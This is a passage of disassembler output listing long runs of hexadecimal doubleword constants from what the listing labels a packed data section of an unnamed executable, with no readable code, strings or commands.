		dd 1EE52664h, 0D74A64Dh, 21141403h, 30327816h, 0D480277Ch
		dd 4A5E2288h, 45814C79h, 74BC2F98h, 0B66D2688h,	0A5F3028Bh
		dd 0C719EEF0h, 1379480h, 0CD9F09A4h, 0B5F01226h, 0DB0B1F8Bh
		dd 0EC1E46D1h, 3EB26C17h, 0F56A1417h, 0AFAD3A23h, 0A5E5294Fh
		dd 6B27D69Fh, 5627F5FCh, 299FC780h, 44AAEF64h, 23EDF19h
		dd 3B49443Ch, 0BE1B0975h, 12346504h, 39B66A2Dh,	84C85810h
		dd 0A2AA0682h, 0FE427097h, 48841020h, 24095743h, 1C1AC681h
		dd 641D5F8Ah, 5347C8B0h, 0CB43554Ah, 90DB3310h,	35F33BEDh
		dd 0AD36797Eh, 717D12CBh, 0BAA3365h, 99FAB618h,	0E5BE8D2Fh
		dd 1F3983B8h, 0C41D0374h, 2AF2895Dh, 9E052F78h,	74064870h
		dd 0C1E2F4A7h, 35E740E8h, 7C210227h, 0E30A8824h, 42503C06h
		dd 18469537h, 80508D74h, 36FC1F35h, 1EF410A4h, 0C55BF1B8h
		dd 0D4FBF152h, 0CEE3C5Dh, 555BB9A1h, 1554BDC9h,	0E2BE4301h
		dd 692451E0h, 614A4AD7h, 0B0380C5Ah, 9E88BE29h,	3B1246h
		dd 851A759Eh, 39EC7EFFh, 47823E4Bh, 535760DFh, 491253E8h
		dd 4514033Ch, 43884BFCh, 4EB5223Fh, 0C94F12CFh,	0B988204Eh
		dd 11FECEA4h, 24543B00h, 40017504h, 27C15181h, 0A170F9D8h
		dd 3FB2E926h, 2290D2D2h, 35903B31h, 11520873h, 22422B21h
		dd 8F0E5E13h, 0B68B97C2h, 0BE396064h, 7C09E909h, 3DD899Ch
		dd 4BE5BA7Ch, 25A48757h, 0CA1D5B7Eh, 0D11C25E8h, 221A1367h
		dd 9329C294h, 8C2DEE90h, 6438C81Fh, 1032A664h, 1A380166h
		dd 0ACE5486Ah, 68E65A72h, 14E39D1Ch, 4A2B4EBh, 66953377h
		dd 88892456h, 700C4CC8h, 21744386h, 0C87C9078h,	91FCBD80h
		dd 4C42BEB0h, 0B6F5DCC2h, 58A90E0h, 74C9840Eh, 0AFFC875Ah
		dd 0C9328DBh, 0D2F312F3h, 0F9804CF0h, 2E642A75h, 0A7863F0Ah
		dd 15B410Ah, 65CA3AEFh,	0AA5F44C5h, 108D0583h, 5850460Ah
		dd 99892A1Fh, 9A2F4C58h, 0EB45C010h, 1731D113h,	14D0E815h
		dd 47464E86h, 0EEA0EB24h, 0B942A1Fh, 101D2A5Fh,	120BF050h
		dd 0AF5C8B69h, 0AB0AE9D3h, 8593080Bh, 0C802EB8Dh, 182C2721h
		dd 82C86D0h, 0C02AB7F7h, 0F87D210Ah, 3980581Dh,	75E281A7h
		dd 0CBE4106h, 110A4CF9h, 198A2C60h, 5D66FB80h, 4C2D396Ch
		dd 6779094Ch, 0E12D1C3Dh, 60418A2Ch, 0D8E7711Ch, 3A00FF49h
		dd 3C1F7DC8h, 771B745Dh, 163EC939h, 0E9E75D50h,	0D93AF08Ah
		dd 0C177C3Ah, 0A8137FD8h, 5F320D89h, 0CFFB0CEBh, 75183A80h
		dd 0FFFCEE9Ah, 8750024Eh, 0A2A68C82h, 0D62B98F8h, 431397D2h
		dd 0C4E63BF9h, 17FF51CEh, 0BAC91B49h, 12D6298Ch, 0BAD15D8Dh
		dd 0E54FF99h, 0A0201861h, 74180438h, 88098A1Ch,	6820A2Dh
		dd 0C21510EBh, 78940B4h, 0E0EB2090h, 0EA8CE2EDh, 1EDE042Eh
		dd 8A07F5D0h, 0C7CB3A08h, 38168119h, 1BD311Ah, 9B6FEBF2h
		dd 0F24E0B1Dh, 48054C19h, 3604F160h, 0D8FE62E8h, 3C7D7547h
		dd 3A62076Ch, 0BC106A8Ah, 24741E7Fh, 0D3124C8Ah, 0B9C605F2h
		dd 0CA34E8EBh, 113011F1h, 0CB725D32h, 0AE292D05h, 0C4800A2Ah
		dd 0D363B20h, 76970CF8h, 0C94E96Bh, 5CD894BDh, 6CA06253h
		dd 782431Eh, 276E8CAh, 0A5799550h, 0BF4CBEA8h, 457480E8h
		dd 0DAD8BE56h, 9101901Fh, 0EE032F76h, 0DA46E240h, 0CC317EE9h
		dd 35406068h, 0E301EBE8h, 571191C2h, 13A065F6h,	1C56C831h
		dd 4076C6E6h, 0E0F87E24h, 5E2F3926h, 0F1C4C3E5h, 40534A84h
		dd 0AB324C64h, 0AF18817h, 4B5E0626h, 1845F16Ch,	29E39A23h
		dd 5F34146Ch, 0E0954CCFh, 9FE140A1h, 0D3CA226h,	2725652h
		dd 0E801348Dh, 2375AD4Fh, 3E543DA3h, 53682450h,	2A22818Ch
		dd 0A86F6D85h, 0C2D71E2h, 6C5E5230h, 0F2C4D2D1h, 566124F0h
		dd 0D412E384h, 7608B71Bh, 0D7C4A943h, 0A4282299h, 0A0EAB855h
		dd 395DE8D9h, 2293524Bh, 1F2022F8h, 8FC4E87Dh, 91893D83h
		dd 8B08924Ch, 0A8B208F4h, 0D5F65189h, 21F05991h, 42619110h
		dd 0D2573E11h, 0A7286445h, 874505F5h, 1E7E8D21h, 85CA8A20h
		dd 0A4B83A14h, 90213F1Ch, 8A68BC22h, 480EC608h,	0E1E378C6h
		dd 11238986h, 4930C64Ch, 0F0C41C5Fh, 5F40E203h,	744B7349h
		dd 0BD8D04C9h, 0B5F3EACCh, 70B62823h, 0CD71D724h, 34E631D1h
		dd 0E0A639D5h, 63408BEh, 186C83EEh, 11BB4B28h, 0D6C38B33h
		dd 54309AE4h, 7888E66h,	2F64EF12h, 0FFF08CEBh, 738D330Ah
		dd 86A49D8h, 0CCAF0A13h, 70536852h, 855A27C8h, 122657CAh
		dd 39EC6578h, 0FB705EDCh, 0B72CE895h, 4D651942h, 2C530A98h
		dd 14E9CE45h, 901E9319h, 0A4375979h, 1E56761Bh,	35800F44h
		dd 0F2935CBDh, 610941AFh, 95510D1Fh, 3E33240Eh,	0DF1D2EBh
		dd 0B28959DCh, 0EC1421B3h, 99C01221h, 8C427F0h,	70169003h
		dd 1C2A83BCh, 0E81918B0h, 0B4162F6Ah, 0AACA080Ch, 0FBA036B5h
		dd 28B88524h, 453816Fh,	2E44C481h, 0D833CAA0h, 0C3834422h
		dd 14094048h, 26F83B39h, 0FC6549EFh, 0F20CB12Dh, 0FEEE863Ch
		dd 0E03A428Dh, 9768331Ch, 82BF75ADh, 4C5AF9C6h,	9A572C27h
		dd 0A5D145A5h, 0D809C7D6h, 2547C4F8h, 1DF277Eh,	80C534D2h
		dd 0AB2F122Bh, 0FEC1A629h, 896FCA17h, 8E18FDF9h, 16A613EBh
		dd 0E322A043h, 0F3995971h, 87DFB678h, 4496E408h, 42CDC18h
		dd 5E850244h, 8348F438h, 256F6C9h, 104B8FCh, 7006E0C1h
		dd 98263989h, 22B202DCh, 56A20A7h, 99AC3FE8h, 0A54C05A1h
		dd 0B3A05565h, 0D83CBE57h, 4616CB2h, 0A3535679h, 1886DAE9h
		dd 0D481D89h, 42F45695h, 0F55408BFh, 0D53B039Ah, 4CD9BA40h
		dd 0A2FAB080h, 185B426Ah, 0B49D38B9h, 0F6A39DE5h, 40442883h
		dd 607F7D6Ah, 1D7579D0h, 0F897458Dh, 1785E5ECh,	43FA7FE8h
		dd 0D405C72Bh, 0C5B8F8F4h
		dd 0C4101AEBh, 23204337h, 13EA345Fh, 0FC874520h, 0EF00C9FDh
		dd 0C52442ECh, 54FC1142h, 181824D6h, 0F5351EC1h, 1C067591h
		dd 954544A3h, 68539EA2h, 6D557F89h, 1D0D14F9h, 0A0BDB25Bh
		dd 70DAD81Dh, 5CE8854Ch, 20E06841h, 663E7D22h, 78E2E64Bh
		dd 7DFCFD45h, 9E279295h, 0E4BE8D4Bh, 5152B7Bh, 0DCF4C428h
		dd 29B4F023h, 44E8235Ch, 0F9428DDBh, 0ADAE0E1h,	781A5F3Eh
		dd 298A18DDh, 0DCF8E224h, 38F95B22h, 4885DD7Ch,	9B3B9120h
		dd 244053E2h, 4ADCF4C4h, 0B062B6ACh, 102447FBh,	0F4111104h
		dd 28DCEC84h, 91DA44E0h, 0E240E921h, 81DDCECh, 43F4DD80h
		dd 0FB421178h, 79459B1h, 0F77EB249h, 3906E868h,	73E49926h
		dd 20011262h, 0F5CCE807h, 89FC708Eh, 57D9287Ch,	0D7A41014h
		dd 0BDBD1888h, 0A41FC898h, 19A0E40Ch, 0D82824A3h, 0D7A87824h
		dd 8EF83788h, 52D82C21h, 66172024h, 88208280h, 0B5235D1Dh
		dd 52DF4890h, 72338FAh,	84F2EE80h, 9CA31808h, 0EA9851D7h
		dd 34E6EF22h, 0D0D79C21h, 448FD830h, 0FA1F3110h, 9336101Bh
		dd 0C796D4B4h, 13674894h, 0E80382F8h, 0DE3BF4ABh, 14BE1621h
		dd 268E2DE0h, 5C6A1E5Bh, 7C8AE88Fh
dword_4E414C	dd 84DCF12Fh, 0AB188802h, 0E7127BB5h, 0DDA307E1h, 8C234C0Bh
					; DATA XREF: .packed:off_43A848o
		dd 99AADD44h, 3F036B79h, 257D88A3h, 49408D28h, 28010EA2h
		dd 0DA240D89h, 4C441384h, 89281A50h, 94EDEDE8h,	0A0BA59F6h
		dd 8842C4ACh, 2891F965h, 0C60403C4h, 0A32021F1h, 410AE1C9h
		dd 0F2BD2A59h, 3A530DA3h, 0E134A128h, 1FDC841Eh, 1BF8F721h
		dd 4F920E11h, 3CA95964h, 8D25CD48h, 1BBE3E1Bh, 3533EC4h
		dd 0DD3F67FEh, 0BC922A98h, 45C88640h, 74ADBF17h, 0FD49A413h
		dd 2D632DA8h, 5B068B4Dh, 9E063751h, 0C3F51049h,	896B3979h
		dd 0F806F4B2h, 0F001FC04h, 0BEEFD7E8h, 590F8BF5h, 713D6976h
		dd 936DAC3Eh, 0C9F8ECB4h, 0CEF1F409h, 15E867B0h, 1873A006h
		dd 1B76D939h, 0D2AE56A5h, 441ABCF5h, 2F58698h, 378B24FCh
		dd 7FAC62A9h, 0F605D007h, 0E9A01F7Ch, 25C50308h, 94AF44Dh
		dd 693D06F8h, 4A1021Ch,	7BD192CDh, 1208B02h, 5F075653h
		dd 0E8CDB33h, 27BD9C02h, 830C3077h, 0D181A2FEh,	0D30A2ADAh
		dd 9482BB14h, 0E8CA0CE4h, 0E594DE9Dh, 68B221E6h, 8004E87Eh
		dd 0D0E28697h, 448D6929h, 0DE7216DFh, 5D89C56Ch, 0D0AF50F8h
		dd 0E0106194h, 72533CFEh, 0B53789E6h, 0BD6515E4h, 1C521019h
		dd 0BD566D94h, 0AF628D4Ah, 9FA1C1D8h, 62DAD9D6h, 8379028Ch
		dd 0B0C8904Eh, 0D475606Fh, 9E4880C7h, 0D840CC86h, 4C345291h
		dd 76C64FE9h, 0DE052BF7h, 34DB6959h, 52833E09h,	2A3CEA41h
		dd 92F484C5h, 0F8AE45F3h, 4ECFF07Dh, 41939474h,	0BA3F654Eh
		dd 34EB240Dh, 45080914h, 0B3DD528Bh, 0C412358Ch, 3528574Eh
		dd 3CFD4474h, 0C4102142h, 14188AF6h, 5EEE364Dh,	2DAE66A8h
		dd 35C864CAh, 95A3363Eh, 22144F44h, 71A62DE5h, 7B0930E0h
		dd 49D78068h, 2A14D4AEh, 9014215Bh, 3DA0D269h, 802D80ECh
		dd 0A940BD27h, 4C177AFh, 0DD6D59E8h, 8BB93D40h,	0EE0A46C0h
		dd 0D82225E8h, 218B506Ch, 0C28F4DF9h, 6B84265Ah, 49E9D044h
		dd 6D4224ACh, 9A26F88Ah, 3882D101h, 0CEB59E0h, 16A805A1h
		dd 0FE882135h, 48F8E713h, 59387943h, 0ED96FD6h,	0C3245208h
		dd 0B4C07C2Ch, 0FDF40815h, 153111A4h, 0EC08FEA4h, 0A8E420B4h
		dd 9411C432h, 0F8D8A80Dh, 85119842h, 548D3E9Ch,	80AAFC3Ah
		dd 902D2978h, 0C424AAD4h, 772F9A27h, 3EC655D1h,	5B509859h
		dd 84C913DFh, 9EE6E38Fh, 187C0153h, 19DC8AB4h, 98899A31h
		dd 0AA405F72h, 5A9AB6B4h, 0BBD4F441h, 0ECA2C564h, 2535927h
		dd 0FC30ECD4h, 0F73DE860h, 0EB0B27CEh, 81B378A7h, 4DAF5080h
		dd 0BE697282h, 0C7914044h, 5468E332h, 44E0245Fh, 7B8CABD8h
		dd 34B8C84Dh, 22206884h, 41B8B188h, 3F3831F4h, 8502C2C4h
		dd 92531D75h, 91B9791Bh, 0E8C49DC4h, 0A19CD681h, 3CFE4234h
		dd 59E0F0ACh, 651DFE9Dh, 0D4C54E04h, 4FEB356Ah,	1C89FB22h
		dd 9CD2A466h, 38042E52h, 0B789AF82h, 8C82C819h,	0DC7D89D4h
		dd 4C505D69h, 2142EC7Ch, 73863C22h, 2D637A97h, 0FF52EC9Dh
		dd 44CDD84Bh, 4BE8F416h, 93ECD24h, 0A4E43A45h, 38C14A24h
		dd 0D84A4D35h, 0A20B3278h, 2D4AC0C6h, 0FF1E046Ah, 0A2F5EBD6h
		dd 2170912Bh, 0F3CC8EB4h, 42C6291Ch, 0A9668CE6h, 3B472D80h
		dd 860FB0A0h, 8DA2515Fh, 0A158D020h, 8768DE93h,	68EA6020h
		dd 3EB73E50h, 0BD17E555h, 49A20464h, 5A8B5026h,	32745B24h
		dd 11F72B71h, 4626F03Ch, 1BD53BA1h, 668C6614h, 0A7EAD426h
		dd 3B250AD5h, 0C951DAEDh, 53AFEDDEh, 67F73F5Ah,	82DC2170h
		dd 0EE99E8D4h, 36534669h, 3A776B45h, 5AA26913h,	0C875DBA4h
		dd 12E613F9h, 0F8C4745Fh, 642BC83Ah, 5E125244h,	895E2D01h
		dd 0A83EA8B0h, 0EFC4E1ADh, 0C84334C2h, 6A954296h, 4E505606h
		dd 4EB9FBB0h, 5C5F74C3h, 15E52173h, 0E99683A5h,	48B12700h
		dd 0B93E74DDh, 71D89243h, 2B44BF24h, 2254DC44h,	0F206E016h
		dd 2780F3D5h, 4AB1E448h, 9B08ABE0h, 1000AC44h, 563C62D4h
		dd 4981568Bh, 5FA3B1F7h, 0FD3B5E31h, 25CD9013h,	2AE12F34h
		dd 0E46ECE5Dh, 4C0859F3h, 7793CCA0h, 0A483C705h, 338C0BA9h
		dd 0B3D4D0ADh, 10CCB29Fh, 2584227Ch, 0ED4EF1D2h, 0BE47C6BDh
		dd 0C5672425h, 1CFCD805h, 4BBB0891h, 8885BC22h,	68049E5Fh
		dd 6CC7C59Bh, 3B84117Fh, 249BB1C7h, 0F45C7D60h,	326A134Ch
		dd 0FC946037h, 7DCCA2FBh, 0FB8CB331h, 5822BB89h, 0E084326Ch
		dd 66046A27h, 0E1FBE27Bh, 6CAA6B38h, 8CBF525Fh,	0FF3DE916h
		dd 308A2DA9h, 504654F1h, 0E404D4B2h, 0EB84D02Ch, 0F042E10Ch
		dd 0E091877Ch, 1CEE2BB1h, 3EFC8BFCh, 0F8100821h, 241D08E2h
		dd 0D3B9389h, 9338742Bh, 84ABE910h, 21902B75h, 595191A4h
		dd 18D02C0Dh, 11E65459h, 0E87B40B5h, 1299D220h,	0EBB816BCh
		dd 0AA4F3FB2h, 5C886025h, 0DD60FCC1h, 0B201C0Ch, 0DAD853C3h
		dd 0CF040EBDh, 290833F1h, 0A3F527ECh, 0EA1C74B7h, 157686Ah
		dd 1ACE83EDh, 16202431h, 0CC7AFA76h, 4735ECEh, 0C68B3E18h
		dd 0E108C28Bh, 0C8C0768h, 6198D980h, 82144D28h,	4E083C37h
		dd 0F010427Ah, 2E74F60Fh, 805624B0h, 9AD2035h, 0FA331898h
		dd 67146284h, 445FC603h, 54225539h, 0CB7B8960h,	0B5933A8h
		dd 10C25D06h, 74898268h, 82749785h, 85D6A306h, 0A766838Ah
		dd 0CB2F269Ch, 0A6344098h, 0BF3DFC46h, 1E7D7FA2h, 0F8030B50h
		dd 0C39D0F7Fh, 0FEE3B94Bh, 8F03B3EBh, 5797609Ch, 7507BFEBh
		dd 0CDC03204h, 5C2CB258h, 39C89050h, 589897ECh,	751801FBh
		dd 88288A0Fh, 76FF3A07h, 7B478D9Fh, 1AEB3607h, 0A982C6C6h
		dd 8F8C10Dh, 1B072088h,	1C480265h, 82A03203h, 16B7D9F9h
		dd 8A4A19A5h, 5914FB01h, 0AFB03BFCh, 84D7CE5Fh,	4D8D1B90h
		dd 445861F8h, 2BF25A01h, 0D6E9E812h, 4FF028C0h,	26C87BEFh
		dd 28ACA40h, 543CD995h,	0A5942315h, 0D0FA316Dh,	8A09EC21h
		dd 5495F8D9h, 180F6F13h, 555FCE8Bh, 93663EFEh, 41E5E440h
		dd 0A0E7E896h, 0C9427A23h, 7C4155D5h, 7F5108D9h, 324671E8h
		dd 0DBF4372h, 7D0689F8h, 0D36671B4h, 168508EAh,	2ECA12Fh
		dd 5903E5D0h, 1B4E6750h, 49B3D50Ch, 9A85EA2h, 6D1E221Ah
		dd 185B23A2h, 8C64E861h, 88838499h, 0D5C36828h,	0CFB061E3h
		dd 91060242h, 8A0B546Bh, 0C4569C3h, 0B3A46048h,	572A077Fh
		dd 85D6BA9h, 11588F72h,	27B83854h, 0E60779E8h, 0FA70E9BFh
		dd 10090A98h, 0DA338F0Fh, 185D0551h, 8708438Dh,	2587E320h
		dd 4A561D33h, 4BCE6DD0h, 4CC02010h, 0E1B008A9h,	0C2FF0D44h
		dd 0E5C0193Ch, 0F0C80C34h, 0D878862Ch, 0FD302445h, 23081C68h
		dd 4E3F2843h, 3004FCDh,	640F10EAh, 919F8DBEh, 0FCF3C10h
		dd 0CABE27F0h, 0A835606Eh, 6A5680F7h, 17874248h, 0F58DEA0Ch
		dd 80BEABFh, 6224FC68h,	53FDF4E8h, 0F7A421D7h, 0B819C57Ch
		dd 21B55909h, 51107E2Bh, 646C9839h, 44A8ACFEh, 8C2868E2h
		dd 0AD806F26h, 0B5ACFE83h, 0A456CD44h, 446A312Ah, 7DE9AA58h
		dd 6E119057h, 6C9FD440h, 55732EA1h, 9FE10EFCh, 0ACD65DB3h
		dd 1C0C736Dh, 1648FEC9h, 44FC52E4h, 66114388h, 5F846885h
		dd 18A2F86Bh, 0D14F889h, 44D51E95h, 0AF171034h,	1D88ACE5h
		dd 71217D2Bh, 8057E88Ch, 954893B4h, 0EC202932h,	1C90C041h
		dd 68B4C8EFh, 72E112B7h, 2C98E964h, 0CFACFC61h,	8CB95978h
		dd 5AB177AAh, 2A34BB15h, 52A10ED4h, 0C40E52ADh,	9F74241Bh
		dd 9CA7E49Eh, 0FC491FC6h, 14178F78h, 0D50F8A5Ah, 91034179h
		dd 1C199B94h, 922168D8h
		dd 86DC7108h, 680210FCh, 0CAF3A680h, 6687F11Eh,	0CD917CCh
		dd 254C34C6h, 2173A63Ch, 0F016FBB4h, 922C561Eh,	2E8A0BC7h
		dd 6427DC1Bh, 36064C0Ch, 6CA7433Ch, 556811B7h, 5695597Ch
		dd 0F42C59CCh, 0DB466C60h, 7C4148FDh, 5B4451A6h, 2B785568h
		dd 2BA11A95h, 3F56AB75h, 2946B046h, 30917451h, 566C6814h
		dd 85D976C8h, 428E261Ch, 98867105h, 564B561Ah, 5A53847Bh
		dd 0FAE2132Bh, 0C6734CF2h, 0D895E2Ch, 480ABC75h, 110EEB04h
		dd 59CB1048h, 45104427h, 0F8E85756h, 7AC65F89h,	6FF2F055h
		dd 0CCEF0253h, 13C76A58h, 89D10146h, 242AF8B5h,	2F131F70h
		dd 18407813h, 68C9C72Ah, 428B5C0Ah, 82097228h, 7F117591h
		dd 0B38B8E53h, 0AF73F498h, 3E10FB91h, 0BAD63AFDh, 0A18A0565h
		dd 8D6E2B69h, 8DD2FC66h, 0BF044F0Bh, 74F5FC39h,	546D0B28h
		dd 77F83E34h, 1F1A53A4h, 0B6F4E750h, 37F74093h,	0EE7D8D4Ah
		dd 415FB968h, 0F1026FF3h, 5BE5B6E8h, 7750D5Eh, 89BC7882h
		dd 5A656853h, 2FC083E6h, 0FC9AA468h, 0F3CD1AC4h, 6DC084Ah
		dd 21D46831h, 89665001h, 0B9E82F7Eh, 0D7329ACh,	8BDB3B5Eh
		dd 8533921h, 6012555h, 4C68DF03h, 1EF1193Ah, 14E11499h
		dd 0A5BA85F9h, 266F1CB6h, 2CAC354Ah, 41844885h,	0EBDB32EAh
		dd 21E16B3Bh, 0FCC9623Ch, 0E862C97Eh, 66A7D496h, 0B541456h
		dd 74801C2Ah, 1121A7D6h, 102E6175h, 934101B3h, 5900E0DBh
		dd 0B995C38Ah, 20C983BAh, 480D52B9h, 0CD3E068h,	649224FCh
		dd 0ED4816A1h, 381A71Eh, 415020E4h, 4009812Dh, 0BC5430AFh
		dd 0E07D8002h, 0A5344C82h, 0D9E88A32h, 64CBBD20h, 20079512h
		dd 3E0C1DDh, 0DFF50397h, 0DDC986Dh, 0AA766290h,	0EE5648E8h
		dd 15841820h, 55DD4EC6h, 0E4884535h, 0E9B8241Ch, 0C0F8F641h
		dd 4CD3E359h, 536A993Ah, 0D8B89D78h, 0FBDE6D6Dh, 122CEC88h
		dd 0A913458Ah, 9D4E4CCDh, 3F828994h, 1355D888h,	0DABD0613h
		dd 0A4865B2Ah, 40825E8Fh, 59D445D7h, 0F1A30A73h, 70E84B09h
		dd 0D3CC4405h, 86D80B58h, 53A8F456h, 0E1AD0F95h, 6A047203h
		dd 0C412EBD0h, 1D750215h, 5F08223Dh, 5B939301h,	58D88832h
		dd 0D0998EDCh, 8EA09640h, 9407BC45h, 280F8E76h,	0AB8DF3Bh
		dd 8B1876E4h, 0CBBA39F1h, 7D8DD180h, 2E9C1F0h, 0CA03ABB4h
		dd 0BA03E183h, 8A9885A4h, 55373787h, 2F9C030h, 3FE13980h
		dd 8803E28Fh, 0F124ECECh, 3041EC8h, 0C5D010Fh, 2C9E2CBh
		dd 0F14099CAh, 0F202ED2Eh, 28460606h, 0C391290Fh, 0F633033Ah
		dd 0C8023820h, 79B4EE32h, 516DF86h, 11F76EFh, 0BEB70145h
		dd 50EC3544h, 2C808ACAh, 413C244Dh, 31842A3h, 0E13B4602h
		dd 8ACA72ECh, 253B4EB6h, 0EB03AF18h, 2C54D1DEh,	571A4CE2h
		dd 48F143D1h, 395E18E1h, 6F12734Ch, 3D6D0A2Bh, 0D13BAF70h
		dd 0D24E1F84h, 87DDD1F1h, 82342BF5h, 551490D5h,	0CE0E774Dh
		dd 0EBE80688h, 545DDA04h, 0DA8DF698h, 93E12426h, 5D4B4063h
		dd 0B09280E0h, 0A6415350h, 0A1F145D2h, 64836E3Ch, 3860D89h
		dd 6E14A2A8h, 84FA3C88h, 4F9F1049h, 0BC9297ECh,	1B892C8h
		dd 0C4757C69h, 23354E07h, 7A171C9Ch, 12F0C6ECh,	4C74738Dh
		dd 7A198536h, 2FF89DE2h, 0D3480AE9h, 0E83C44CCh, 0FFA8B830h
		dd 7C75CB3Bh, 0AEC84F02h, 6803580Dh, 365051D4h,	0B22B4868h
		dd 0E6F4E812h, 0A6FCC9EEh, 3B58A116h, 3B7450C6h, 0C4D59802h
		dd 0ADE063Eh, 0EE48AC59h, 0F9F5E447h, 1A83BD4Fh, 160E0AFEh
		dd 0BB44EB11h, 87F5985Fh, 5246A7BBh, 0A580D588h, 4CEEE05Dh
		dd 95AE96DCh, 8D4A8068h, 23C6E1BDh, 1C1B8F68h, 9666ABF3h
		dd 214610AAh, 25D8680Bh, 2AFCDF69h, 0DCB84832h,	167FBFECh
		dd 0B505B70Fh, 102333F1h, 8950D8E1h, 44984A68h,	0A16F8536h
		dd 8A302926h, 589BA3Ah,	979ADD90h, 3A46490Dh, 0E748ECA2h
		dd 24702878h, 12744B52h, 27B5ED5Eh, 71EC930h, 2CE9FE8Dh
		dd 7F163B3Fh, 770F580Eh, 7FC263A1h, 2004F5DBh, 0D8064272h
		dd 0F158483h, 83A8CF84h, 0EAABE67Dh, 0EF9DF2B5h, 0F3E8A754h
		dd 0C9F0A3D3h, 32557B0Ch, 0ED76E81Ah, 0D5645364h, 7637AFC5h
		dd 3D00BD95h, 8A407550h, 91C37085h, 0F48B82C3h,	0F3C36589h
		dd 0B513CC84h, 0A8C944BFh, 99DBD9C0h, 3017B662h, 2D4BF3FBh
		dd 0F88B5CA8h, 0FDFE5582h, 2AEB1C10h, 62498135h, 0E75098Bh
		dd 51A11DB1h, 4918EBEBh, 1201D51Ah, 0AD2E1412h,	0F612CFAh
		dd 7FF2F0B6h, 0F69243F1h, 5AE802E0h, 4228AA03h,	29883F4h
		dd 0FA5B8C0Fh, 0EC77BF63h, 15744818h, 0B0698B75h, 0FE89789Bh
		dd 1E699580h, 8D06548Dh, 31BF7191h, 0D95E6F1Eh,	7698A102h
		dd 45C10B42h, 16117908h, 0AB462Bh, 0E805773Bh, 279691D0h
		dd 3376DB01h, 0DD40FB8Bh, 9A087E03h, 51E82AE1h,	5926B894h
		dd 24266620h, 83501757h, 5A400377h, 0E0419CEDh,	1E6B19ADh
		dd 2480500Eh, 5FDD1738h, 8D0C591Ch, 3121C639h, 6608F8E7h
		dd 7DFF8C1Eh, 21142FAEh, 0EDC5E8F7h, 721574Fh, 95B6CE6Bh
		dd 0F963042Fh, 73BB4339h, 8FFBAA10h, 0F114D37Ch, 2BF0D801h
		dd 4C98B3B0h, 690C7358h, 1E2AA50Ah, 0F1F9A399h,	4360CFFDh
		dd 26015F86h, 0F4D316CDh, 0EB194F18h, 5C249079h, 0F01C3F76h
		dd 478F275h, 5581470h, 7880C050h, 4873FEFFh, 4E6B1E29h
		dd 4310030Eh, 4789871Bh, 84BE7CFh, 0EDD24F66h, 646E9647h
		dd 0B08540FEh, 0CA5657B0h, 0C5C33555h, 102E3928h, 0C103568Eh
		dd 77285398h, 57BEE204h, 0DFCD4794h, 0C73040A2h, 0FFC25D88h
		dd 0F14EE539h, 8320405Eh, 7650FDFFh, 90445AC8h,	3304044Eh
		dd 80CA3BD2h, 0FF418A68h, 9DC23A3Bh, 0BFBD3C19h, 75FA8015h
		dd 52C8FE4Ch, 4D415E88h, 78D94EBAh, 2B45308Bh, 2C543815h
		dd 20D41024h, 0C0E7FC84h, 5689EA65h, 117B8808h,	1715E354h
		dd 86BF3D90h, 0AFA1F89h, 1873C73Bh, 1670B2CEh, 3905EB20h
		dd 730C0C7Eh, 0DF1F5708h, 0A994F28Ah, 83428053h, 2466FA04h
		dd 0AF722274h, 8D1BBC80h, 8A2FFF48h, 0AFF2640h,	0F40666FDh
		dd 704C288h, 0F5A5E851h, 1ADDD0A9h, 0BD0B0908h,	0C13180C2h
		dd 0E3C3A810h, 992FE82Fh, 75EA1A34h, 78C1E42Bh,	32ECC1E8h
		dd 4FE3F61Ch, 52BDB253h, 87721BFh, 45A88E3Ch, 74440A4Bh
		dd 44FA0847h, 0C2C62BAAh, 0D7E1732Dh, 322A34D8h, 47F4FECh
		dd 0CE5803FAh, 19747750h, 132D85A1h, 0A76C628Bh, 0CA44F32Bh
		dd 7CB9D7A1h, 2A0AC9E9h, 6645E61h, 0B825CF66h, 0CF6D2220h
		dd 110C11F4h, 70BF7D8Bh, 696D1F24h, 0C0F0B685h,	376EC32h
		dd 5E013A2h, 251478Dh, 895DEEF8h, 413FF8DCh, 56B47EF8h
		dd 16254EEBh, 830A4595h, 0E61B71C0h, 43506F7h, 0D7E9B859h
		dd 0C71BFF40h, 0E87C2680h, 763EB1B5h, 0D2662117h, 508DAF8Eh
		dd 0A8F81467h, 88062237h, 485E8BA4h, 9AC97C08h,	40644856h
		dd 801E6AA8h, 1A2AE760h, 62771987h, 711D25FBh, 51D5D68h
		dd 316CD9B5h, 0F959589Eh, 90C5E9A3h, 468A22C7h,	1B49E1A4h
		dd 0B6172C8Ch, 38A24E96h, 0E8D77512h, 3637952Fh, 376217Ah
		dd 5405F6C3h, 0EF844DBCh, 0D80FB05h, 4AE9094Ah,	0D8996805h
		dd 0A9E8AA05h, 0C359B847h, 0A185121Ah, 33B82890h, 0A306C005h
		dd 383BA154h, 7D80C27Dh, 9CCD5230h, 0F4D09A8h, 1DA1E908h
		dd 95FE9465h, 1F612C2Ch, 0C1B78028h, 3B18538Dh,	1477D019h
		dd 309C0235h, 43BF3F33h, 1C5D8989h, 3C142E41h, 0E8C01912h
		dd 1A9FFD57h, 1C20714Dh
		dd 133CCC6h, 5E3060DAh,	0E8FC02CAh, 79D5DBCDh, 212890C7h
		dd 8D060B80h, 7F58780Bh, 7D0EFE96h, 24CCFE1Ch, 0BD187857h
		dd 0A9E17204h, 12EB9649h, 2989FEE3h, 0AC2C28CDh, 9975E089h
		dd 0C2B4003h, 7538399Bh, 0E8313862h, 0A9F0A856h, 59188220h
		dd 2B5A2574h, 2C26C3DFh, 0AB31FE03h, 18EC9653h,	7BB8BEB6h
		dd 0E8BE0862h, 4CED12Bh, 0C70FEB2Ch, 80B45DBh, 598B1E38h
		dd 41777932h, 8560DCB8h, 0E178E820h, 680B9BB2h,	88D1DB84h
		dd 2123A892h, 0B346ED33h, 70214E74h, 2B2041BEh,	1DF3982h
		dd 6C290C68h, 0A6AB4096h, 206A01F9h, 53C129B3h,	0DBA71E15h
		dd 23EB9221h, 2D4E3806h, 366EB0F2h, 46992434h, 6501E544h
		dd 0A74B166Fh, 9DBF2DCCh, 222843F8h, 211DB458h,	68530915h
		dd 6A402221h, 640E303h,	5A97C00Ah, 83D4B51Ch, 90AD4B4Ah
		dd 0C304442Ah, 858D48FBh, 2F2A629Ch, 40C610E5h,	8858050Fh
		dd 919F499Dh, 233E89C2h, 2E225F9Dh, 870B544Ah, 0E4A38B68h
		dd 28C8E37Ch, 6603844Bh, 89CFECC7h, 9DEE6048h, 0C13D952h
